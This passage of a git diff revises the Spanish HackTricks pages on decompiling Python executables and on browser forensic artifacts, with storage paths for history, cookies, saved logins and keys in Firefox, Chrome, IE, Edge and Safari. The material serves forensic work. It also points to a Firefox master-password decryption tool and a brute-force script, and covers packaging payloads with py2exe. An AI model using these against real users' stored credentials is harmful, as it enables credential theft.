.pyc de python3.8** correctamente agregado: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -80,31 +80,33 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` -### Error: Descompilación de errores genéricos +### Error: Errores genéricos al decompilar **Otros errores** como: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` pueden aparecer. Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o intenta con uno nuevo). -Revisa la documentación del error anterior. +Verifica la documentación del error anterior. ## Herramienta Automática -La herramienta [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) une varias herramientas disponibles para la comunidad que **ayudan a los investigadores a desempaquetar y descompilar ejecutables** escritos en python (py2exe y pyinstaller). - -Varias reglas YARA están disponibles para determinar si el ejecutable está escrito en python (Este script también confirma si el ejecutable está creado con py2exe o pyinstaller). +La **[herramienta python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)** sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación. ### ImportError: Nombre del archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe -Actualmente, con unpy2exe o pyinstxtractor, el archivo de bytecode de Python que obtenemos puede no estar completo y, a su vez, **no puede ser reconocido por uncompyle6 para obtener el código fuente de Python plano**. Esto se debe a la falta de un número de versión de bytecode de Python. Por lo tanto, incluimos una opción de prepend; esto incluirá un número de versión de bytecode de Python en él y ayudará a facilitar el proceso de descompilación. Cuando intentamos usar uncompyle6 para descompilar el archivo .pyc, devuelve un error. Sin embargo, **una vez que usamos la opción de prepend, podemos ver que el código fuente de Python ha sido descompilado con éxito**. -``` +Un problema común encontrado implica un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a la falta de un número de versión de bytecode de Python**. Para abordar esto, se ha añadido una opción de prepend, que añade el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación. + +Ejemplo del problema: +```python +# Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py Traceback (most recent call last): -………………………. +... ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist ``` -``` +```python +# Successful decompilation after using the prepend option test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive [*] On Python 2.7 [+] Magic bytes are already appended. @@ -114,7 +116,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive ``` ## Analizando el ensamblado de Python -Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero **no es muy descriptivo**, así que intenta extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, utiliza python2: +Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero **no es muy descriptivo**, así que intenta extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, utiliza Python2: ```bash >>> import dis >>> import marshal @@ -166,7 +168,7 @@ Para empezar, vamos a mostrarte cómo los payloads pueden ser compilados en py2e 1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org) 2. Para el payload (en este caso, lo nombraremos hello.py), utiliza un script como el que se muestra en la Figura 1. La opción "bundle\_files" con el valor de 1 empaquetará todo, incluido el intérprete de Python, en un solo ejecutable. 3. Una vez que el script esté listo, emitiremos el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2. -``` +```python from distutils.core import setup import py2exe, sys, os @@ -180,7 +182,7 @@ zipfile = None, ) ``` -``` +```bash C:\Users\test\Desktop\test>python setup.py py2exe running py2exe *** searching for required modules *** @@ -215,7 +217,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). +Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_). {% embed url="https://www.stmcyber.com/careers" %} @@ -226,7 +228,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡ Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 0ad3a445f..407da5778 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks: * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -24,70 +24,57 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu ## Artefactos de Navegadores -Cuando hablamos de artefactos del navegador nos referimos a historial de navegación, marcadores, lista de archivos descargados, datos de caché, etc. +Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, difiriendo en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares. -Estos artefactos son archivos almacenados en carpetas específicas en el sistema operativo. +Aquí tienes un resumen de los artefactos de navegador más comunes: -Cada navegador almacena sus archivos en un lugar diferente a otros navegadores y todos tienen nombres diferentes, pero generalmente almacenan el mismo tipo de datos (artefactos). +- **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos. +- **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combina con el historial de navegación. +- **Marcadores**: Sitios guardados por el usuario para un acceso rápido. +- **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario. +- **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga del sitio web, valioso para análisis forense. +- **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas. +- **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para obtener información adicional sobre las visitas del usuario. +- **Sesiones del Navegador**: Datos relacionados con las sesiones del navegador abiertas. +- **Descargas**: Registros de archivos descargados a través del navegador. +- **Datos de Formularios**: Información introducida en formularios web, guardada para sugerencias de autocompletar en el futuro. +- **Miniaturas**: Imágenes de vista previa de sitios web. +- **Diccionario Personalizado.txt**: Palabras añadidas por el usuario al diccionario del navegador. -Veamos los artefactos más comunes almacenados por los navegadores. - -* **Historial de Navegación:** Contiene datos sobre el historial de navegación del usuario. Puede utilizarse para rastrear si el usuario ha visitado sitios maliciosos, por ejemplo. -* **Datos de Autocompletar:** Estos son los datos que el navegador sugiere en función de lo que más buscas. Puede utilizarse junto con el historial de navegación para obtener más información. -* **Marcadores:** Autoexplicativo. -* **Extensiones y Complementos:** Autoexplicativo. -* **Caché:** Al navegar por sitios web, el navegador crea todo tipo de datos de caché (imágenes, archivos javascript, etc.) por diversas razones. Por ejemplo, para acelerar el tiempo de carga de los sitios web. Estos archivos de caché pueden ser una gran fuente de datos durante una investigación forense. -* **Inicios de Sesión:** Autoexplicativo. -* **Favicons:** Son los pequeños iconos que se encuentran en las pestañas, URLs, marcadores, etc. Pueden utilizarse como otra fuente para obtener más información sobre el sitio web o lugares que visitó el usuario. -* **Sesiones del Navegador:** Autoexplicativo. -* **Descargas:** Autoexplicativo. -* **Datos de Formularios:** Todo lo que se escribe dentro de los formularios a menudo es almacenado por el navegador, para que la próxima vez que el usuario ingrese algo en un formulario, el navegador pueda sugerir datos ingresados previamente. -* **Miniaturas:** Autoexplicativo. -* **Diccionario Personalizado.txt:** Palabras añadidas al diccionario por el usuario. ## Firefox -Firefox crea la carpeta de perfiles en \~/_**.mozilla/firefox/**_ (Linux), en **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ -Dentro de esta carpeta, debería aparecer el archivo _**profiles.ini**_ con el nombre de los perfiles de usuario.\ -Cada perfil tiene una variable "**Path**" con el nombre de la carpeta donde se almacenarán sus datos. La carpeta debería estar **presente en el mismo directorio donde exista el \_profiles.ini**\_\*\*. Si no lo está, entonces probablemente fue eliminada. +Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo: -Dentro de la carpeta **de cada perfil** (_\~/.mozilla/firefox/\/_) deberías poder encontrar los siguientes archivos interesantes: +- **Linux**: `~/.mozilla/firefox/` +- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -* _**places.sqlite**_ : Historial (moz\_\_places), marcadores (moz\_bookmarks) y descargas (moz\_\_annos). En Windows, la herramienta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) se puede utilizar para leer el historial dentro de _**places.sqlite**_. -* Consulta para volcar historial: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` -* Ten en cuenta que un tipo de enlace es un número que indica: -* 1: Usuario siguió un enlace -* 2: Usuario escribió la URL -* 3: Usuario utilizó un favorito -* 4: Cargado desde Iframe -* 5: Accedido a través de redirección HTTP 301 -* 6: Accedido a través de redirección HTTP 302 -* 7: Archivo descargado -* 8: Usuario siguió un enlace dentro de un Iframe -* Consulta para volcar descargas: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` -* -* _**bookmarkbackups/**_ : Copias de seguridad de marcadores -* _**formhistory.sqlite**_ : **Datos de formularios web** (como correos electrónicos) -* _**handlers.json**_ : Controladores de protocolo (por ejemplo, qué aplicación manejará el protocolo _mailto://_) -* _**persdict.dat**_ : Palabras añadidas al diccionario -* _**addons.json**_ y \_**extensions.sqlite** \_ : Complementos y extensiones instalados -* _**cookies.sqlite**_ : Contiene **cookies**. [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) se puede utilizar en Windows para inspeccionar este archivo. -* _**cache2/entries**_ o _**startupCache**_ : Datos de caché (\~350MB). También se pueden utilizar trucos como **tallado de datos** para obtener los archivos guardados en la caché. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) se puede utilizar para ver los **archivos guardados en la caché**. +Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` en sí. Si falta la carpeta de un perfil, es posible que haya sido eliminada. -Información que se puede obtener: +Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes: -* URL, Cantidad de solicitudes, Nombre de archivo, Tipo de contenido, Tamaño del archivo, Hora de la última modificación, Hora de la última solicitud, Última modificación del servidor, Respuesta del servidor -* _**favicons.sqlite**_ : Favicons -* _**prefs.js**_ : Configuraciones y Preferencias -* _**downloads.sqlite**_ : Base de datos de descargas antiguas (ahora está dentro de places.sqlite) -* _**thumbnails/**_ : Miniaturas -* _**logins.json**_ : Nombres de usuario y contraseñas encriptadas -* **Anti-phishing integrado en el navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` -* Devolverá "safebrowsing.malware.enabled" y "phishing.enabled" como falso si la configuración de búsqueda segura ha sido desactivada -* _**key4.db**_ o _**key3.db**_ : ¿Clave maestra? +- **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) en Windows pueden acceder a los datos del historial. +- Utiliza consultas SQL específicas para extraer información del historial y descargas. +- **bookmarkbackups**: Contiene copias de seguridad de marcadores. +- **formhistory.sqlite**: Almacena datos de formularios web. +- **handlers.json**: Gestiona los manejadores de protocolo. +- **persdict.dat**: Palabras del diccionario personalizado. +- **addons.json** y **extensions.sqlite**: Información sobre extensiones y complementos instalados. +- **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows. +- **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Almacena favicons. +- **prefs.js**: Ajustes y preferencias del usuario. +- **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite. +- **thumbnails**: Miniaturas de sitios web. +- **logins.json**: Información de inicio de sesión encriptada. +- **key4.db** o **key3.db**: Almacena claves de cifrado para asegurar información sensible. -Para intentar descifrar la contraseña maestra, puedes utilizar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ -Con el siguiente script y llamada puedes especificar un archivo de contraseñas para realizar un ataque de fuerza bruta: +Además, verificar la configuración de antiphishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas. + + +Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ +Con el siguiente script y llamada puedes especificar un archivo de contraseña para realizar un ataque de fuerza bruta: {% code title="brute.sh" %} ```bash @@ -106,29 +93,28 @@ done < $passfile ## Google Chrome -Google Chrome crea el perfil dentro del directorio del usuario _**\~/.config/google-chrome/**_ (Linux), en _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), o en \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS). La mayoría de la información se guarda dentro de las carpetas _**Default/**_ o _**ChromeDefaultData/**_ en las rutas mencionadas anteriormente. Aquí puedes encontrar los siguientes archivos interesantes: +Google Chrome almacena perfiles de usuario en ubicaciones específicas según el sistema operativo: + +- **Linux**: `~/.config/google-chrome/` +- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` +- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` + +Dentro de estos directorios, la mayoría de los datos de usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos: + +- **Historial**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede utilizar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Tipo de transición" tiene varios significados, incluidos clics de usuario en enlaces, URLs escritas, envíos de formularios y recargas de página. +- **Cookies**: Almacena cookies. Para inspeccionarlas, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Caché**: Contiene datos en caché. Para inspeccionarlos, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Marcadores**: Marcadores del usuario. +- **Datos web**: Contiene historial de formularios. +- **Favicons**: Almacena favicons de sitios web. +- **Datos de inicio de sesión**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas. +- **Sesión actual**/**Pestañas actuales**: Datos sobre la sesión de navegación actual y las pestañas abiertas. +- **Última sesión**/**Últimas pestañas**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome. +- **Extensiones**: Directorios para extensiones y complementos del navegador. +- **Miniaturas**: Almacena miniaturas de sitios web. +- **Preferencias**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más. +- **Antiphishing integrado del navegador**: Para verificar si la protección contra phishing y malware está habilitada, ejecuta `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busca `{"enabled: true,"}` en la salida. -* _**History**_: URLs, descargas e incluso palabras clave buscadas. En Windows, puedes usar la herramienta [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Tipo de transición" significa: - * Link: Usuario hizo clic en un enlace - * Typed: La URL fue escrita - * Auto Bookmark - * Auto Subframe: Agregar - * Página de inicio: Página de inicio - * Form Submit: Se completó y envió un formulario - * Recargado -* _**Cookies**_: Cookies. Puedes usar [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) para inspeccionar las cookies. -* _**Cache**_: Caché. En Windows, puedes usar la herramienta [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) para inspeccionar la caché. -* _**Bookmarks**_: Marcadores -* _**Web Data**_: Historial de formularios -* _**Favicons**_: Favicons -* _**Login Data**_: Información de inicio de sesión (nombres de usuario, contraseñas...) -* _**Current Session**_ y _**Current Tabs**_: Datos de sesión actual y pestañas actuales -* _**Last Session**_ y _**Last Tabs**_: Estos archivos contienen los sitios que estaban activos en el navegador cuando se cerró por última vez Chrome. -* _**Extensions**_: Carpeta de extensiones y complementos -* **Thumbnails** : Miniaturas -* **Preferences**: Este archivo contiene una gran cantidad de información útil, como complementos, extensiones, sitios que utilizan geolocalización, pop-ups, notificaciones, prefetching de DNS, excepciones de certificados y mucho más. Si estás investigando si una configuración específica de Chrome estaba habilitada, es probable que encuentres esa configuración aquí. -* **Anti-phishing integrado en el navegador:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` -* Simplemente puedes buscar "safebrowsing" y buscar `{"enabled: true,"}` en los resultados para indicar que la protección contra phishing y malware está activada. ## **Recuperación de datos de bases de datos SQLite** @@ -136,138 +122,65 @@ Como se puede observar en las secciones anteriores, tanto Chrome como Firefox ut ## **Internet Explorer 11** -Internet Explorer almacena **datos** y **metadatos** en diferentes ubicaciones. Los metadatos permitirán encontrar los datos. +Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, lo que ayuda a separar la información almacenada y sus detalles correspondientes para facilitar el acceso y la gestión. -Los **metadatos** se pueden encontrar en la carpeta `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` donde VX puede ser V01, V16 o V24.\ -En la carpeta anterior, también puedes encontrar el archivo V01.log. En caso de que el **tiempo de modificación** de este archivo y el archivo WebcacheVX.data **sean diferentes**, es posible que necesites ejecutar el comando `esentutl /r V01 /d` para **corregir** posibles **incompatibilidades**. +### Almacenamiento de metadatos +Los metadatos de Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Además, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, lo que indica la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden recuperarse e inspeccionarse utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos detalles de caché para otras herramientas de Microsoft como Skype. -Una vez **recuperado** este artefacto (es una base de datos ESE, photorec puede recuperarla con las opciones Base de datos de Exchange o EDB) puedes usar el programa [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abrirlo. Una vez **abierto**, ve a la tabla llamada "**Containers**". +### Inspección de caché +La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite la inspección de la caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de la caché incluyen nombre de archivo, directorio, recuento de accesos, origen de URL y marcas de tiempo que indican la creación, acceso, modificación y vencimiento de la caché. -![](<../../../.gitbook/assets/image (446).png>) +### Gestión de cookies +Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, recuentos de accesos y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria. -Dentro de esta tabla, puedes encontrar en qué otras tablas o contenedores se guarda cada parte de la información almacenada. A partir de ahí, puedes encontrar las **ubicaciones de los datos** almacenados por los navegadores y los **metadatos** que contienen. +### Detalles de descargas +Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -**Ten en cuenta que esta tabla indica metadatos de la caché para otras herramientas de Microsoft también (por ejemplo, skype)** +### Historial de navegación +Para revisar el historial de navegación, se puede utilizar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), que requiere la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con recuentos de accesos. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Caché +### URLs escritas +Las URLs escritas y sus tiempos de uso se almacenan en el registro en `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada. -Puedes usar la herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) para inspeccionar la caché. Debes indicar la carpeta donde has extraído los datos de la caché. - -#### Metadatos - -La información de metadatos sobre la caché incluye: - -* Nombre de archivo en el disco -* SecureDIrectory: Ubicación del archivo dentro de los directorios de caché -* AccessCount: Número de veces que se guardó en la caché -* URL: El origen de la URL -* CreationTime: Primera vez que se almacenó en caché -* AccessedTime: Hora en que se utilizó la caché -* ModifiedTime: Última versión de la página web -* ExpiryTime: Hora en que la caché expirará - -#### Archivos - -La información de la caché se puede encontrar en _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ y _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ - -La información dentro de estas carpetas es una **instantánea de lo que el usuario estaba viendo**. Las cachés tienen un tamaño de **250 MB** y las marcas de tiempo indican cuándo se visitó la página (primera vez, fecha de creación de NTFS, última vez, hora de modificación de NTFS). - -### Cookies - -Puedes usar la herramienta [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) para inspeccionar las cookies. Debes indicar la carpeta donde has extraído las cookies. - -#### **Metadatos** - -La información de metadatos sobre las cookies almacenadas incluye: - -* Nombre de la cookie en el sistema de archivos -* URL -* AccessCount: Número de veces que las cookies se han enviado al servidor -* CreationTime: Primera vez que se creó la cookie -* ModifiedTime: Última vez que se modificó la cookie -* AccessedTime: Última vez que se accedió a la cookie -* ExpiryTime: Hora de expiración de la cookie - -#### Archivos - -Los datos de las cookies se pueden encontrar en _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ y _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ - -Las cookies de sesión residirán en la memoria y las cookies persistentes en el disco. - -### Descargas - -#### **Metadatos** - -Al revisar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) puedes encontrar el contenedor con los metadatos de las descargas: - -![](<../../../.gitbook/assets/image (445).png>) - -Obteniendo la información de la columna "ResponseHeaders" puedes transformar esa información de hexadecimal y obtener la URL, el tipo de archivo y la ubicación del archivo descargado. - -#### Archivos - -Busca en la ruta _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ - -### **Historial** - -La herramienta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) se puede utilizar para leer el historial. Pero primero, debes indicar el navegador en las opciones avanzadas y la ubicación de los archivos de historial extraídos. - -#### **Metadatos** - -* ModifiedTime: Primera vez que se encuentra una URL -* AccessedTime: Última vez -* AccessCount: Número de veces accedido - -#### **Archivos** - -Busca en _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ y _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ - -### **URLs Escritas** - -Esta información se puede encontrar en el registro NTDUSER.DAT en la ruta: - -* _**Software\Microsoft\InternetExplorer\TypedURLs**_ -* Almacena las últimas 50 URLs escritas por el usuario -* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ -* última vez que se escribió la URL ## Microsoft Edge -Para analizar los artefactos de Microsoft Edge, todas las **explicaciones sobre la caché y las ubicaciones de la sección anterior (IE 11) siguen siendo válidas** con la única diferencia de que la ubicación base, en este caso, es _**%userprofile%\Appdata\Local\Packages**_ (como se puede observar en las siguientes rutas): +Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son: -* Ruta del perfil: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ -* Historial, Cookies y Descargas: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Configuraciones, Marcadores y Lista de lectura: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Caché: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* Sesiones activas anteriores: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +- **Ruta del perfil**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +- **Historial, Cookies y Descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **Configuraciones, Marcadores y Lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` +- **Caché**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` +- **Últimas sesiones activas**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` -## **Safari** +## Safari -Las bases de datos se pueden encontrar en `/Users/$User/Library/Safari` +Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen: -* **History.db**: Las tablas `history_visits` _y_ `history_items` contienen información sobre el historial y las marcas de tiempo. -* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` -* **Downloads.plist**: Contiene la información sobre los archivos descargados. -* **Book-marks.plis**t: URLs marcadas como favoritas. -* **TopSites.plist**: Lista de los sitios web más visitados por el usuario. -* **Extensions.plist**: Para recuperar una lista de extensiones antiguas del navegador Safari. -* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` -* `pluginkit -mDvvv -p com.apple.Safari.extension` -* **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. -* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` -* **LastSession.plist**: Pestañas que estaban abiertas la última vez que el usuario salió de Safari. -* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Anti-phishing integrado en el navegador:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` -* La respuesta debería ser 1 para indicar que la configuración está activa +- **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de 